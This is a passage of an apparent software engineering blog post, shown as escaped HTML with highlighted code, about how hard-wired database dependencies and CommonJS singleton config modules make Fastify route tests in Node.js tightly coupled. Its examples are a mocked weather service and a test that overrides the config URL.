&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;test&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;users route returns a list of users &quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;async&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;t&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;fastify&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;require&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;fastify&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;)();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;route&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;require&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;./user.route.js&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    fastify.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;register&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(route);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;response&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;await&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; fastify.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;inject&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;({&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        method: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;GET&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        url: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;/users&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    assert.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;strictEqual&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(response.statusCode, &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;200&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;});&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;For this test to run successfully it needs a database due to the hard-wired database dependency in the &lt;code&gt;UserRepo&lt;/code&gt; class. However, it’s common to avoid requiring the real the database connection as-is bootstrapped with the application for different reasons:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;the database connection is configured to use your local testing database, where-as you want to configure another database for executing tests.&lt;/li&gt;
&lt;li&gt;you want to skip the database connection altogether, and use a mock database connection instead.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;What is the common solution to work around the hard-wired database dependency?&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Using packages like &lt;code&gt;sinon&lt;/code&gt;, &lt;code&gt;proxyquire&lt;/code&gt; or &lt;code&gt;rewire&lt;/code&gt; to change the &lt;code&gt;db&lt;/code&gt; dependency in Node.js internal module cache that exchanges the &lt;code&gt;db.js&lt;/code&gt; file with a mock of the database.&lt;/li&gt;
&lt;li&gt;Spinning up a real database for the test using Docker containers or other means.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id=&quot;scenario-2-global-modules-in-nodejs&quot;&gt;Scenario 2: Global modules in Node.js&lt;/h3&gt;
&lt;p&gt;The CommonJS module system in Node.js acts as a singleton. This means that when you require a module, the module is cached and the same instance of the module is returned every time you require it.&lt;/p&gt;
&lt;p&gt;This is a common pattern in Node.js applications, where a module is required once and then used throughout the application. For example, a database connection module is required once and then used throughout the application to execute queries against the database.&lt;/p&gt;
&lt;p&gt;However, this pattern proves again to be problematic and is a source of tight coupling in Node.js applications. Let’s untangle the problem with an example that revolves around configuration.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The CJS module system is an example of a module system that can lead to tight coupling. In the cjs module system, modules are loaded as global objects. This means that any module that imports another module will have direct access to the exported objects of the imported module. This can make it difficult to test the modules and can make it difficult to change the implementation of the modules without affecting other modules.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;In this example Node.js application, we have a &lt;em&gt;route&lt;/em&gt; that returns the weather for a city. The route uses a &lt;em&gt;service&lt;/em&gt; to make an API call, and the &lt;em&gt;service&lt;/em&gt; relies on accessing a configuration module to receive the URL for the API call.&lt;/p&gt;
&lt;p&gt;Here’s the Fastify route definition which makes use of the &lt;code&gt;getWeather&lt;/code&gt; call:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// FILE: route.js&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// ========================&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; { &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;getWeather&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; } &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;require&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;./service&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;async&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;routes&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;fastify&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;options&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  fastify.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;get&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;/&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;async&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;request&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;reply&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;city&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; request.query.city;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;weather&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;await&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;getWeather&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;({ city });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; reply.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;send&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;({ weather });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;module&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;exports&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; routes;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;getWeather&lt;/code&gt; function is defined in the &lt;code&gt;service.js&lt;/code&gt; file which accesses the configuration module to receive the URL for the API call:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// FILE: service.js&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// ========================&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;config&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;require&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;./config&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;weatherApiUrl&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; config.&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;WEATHER_API_URL&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;module&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;exports&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;getWeather&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;async&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; ({ &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;city&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; }) &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// in reality this is an API call to a weather service&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// but for the sake of tests we will just print a console log&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// that shows the API call that is being made&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  console.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;`making an API call to ${&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;weatherApiUrl&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;} for ${&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;city&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;}`&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;weatherDatabase&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    Seattle: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;Rainy&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    Singapore: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;Sunny&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  };&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;weather&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; weatherDatabase[city] &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;||&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;Unknown&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; weather;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;};&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Lastly, the configuration module is defined in the &lt;code&gt;config.js&lt;/code&gt; file which is a &lt;em&gt;highly&lt;/em&gt; common pattern I’ve seen in many Node.js applications - a configuration module that creates a configuration from static &lt;code&gt;json&lt;/code&gt; files, environment variables or other means and then export an object that is created once and then used throughout the application.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;config.js&lt;/code&gt; file:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// FILE: config.js&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// ========================&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;config&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  WEATHER_API_URL: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;https://api.example.com/weather&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  PORT: &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;4000&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;};&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;module&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;exports&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; config;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now, consider the following test code for the Fastify route:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// FILE: test.js&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// ========================&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;test&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;require&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;node:test&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;assert&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;require&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;node:assert&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;test&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;the weather API should return the current weather but don&apos;t call the real API because its expensive&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;async&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;t&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;config&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;require&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;./config&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  config.&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;WEATHER_API_URL&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;https://api.example.com/FAKE-WEATHER-API&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
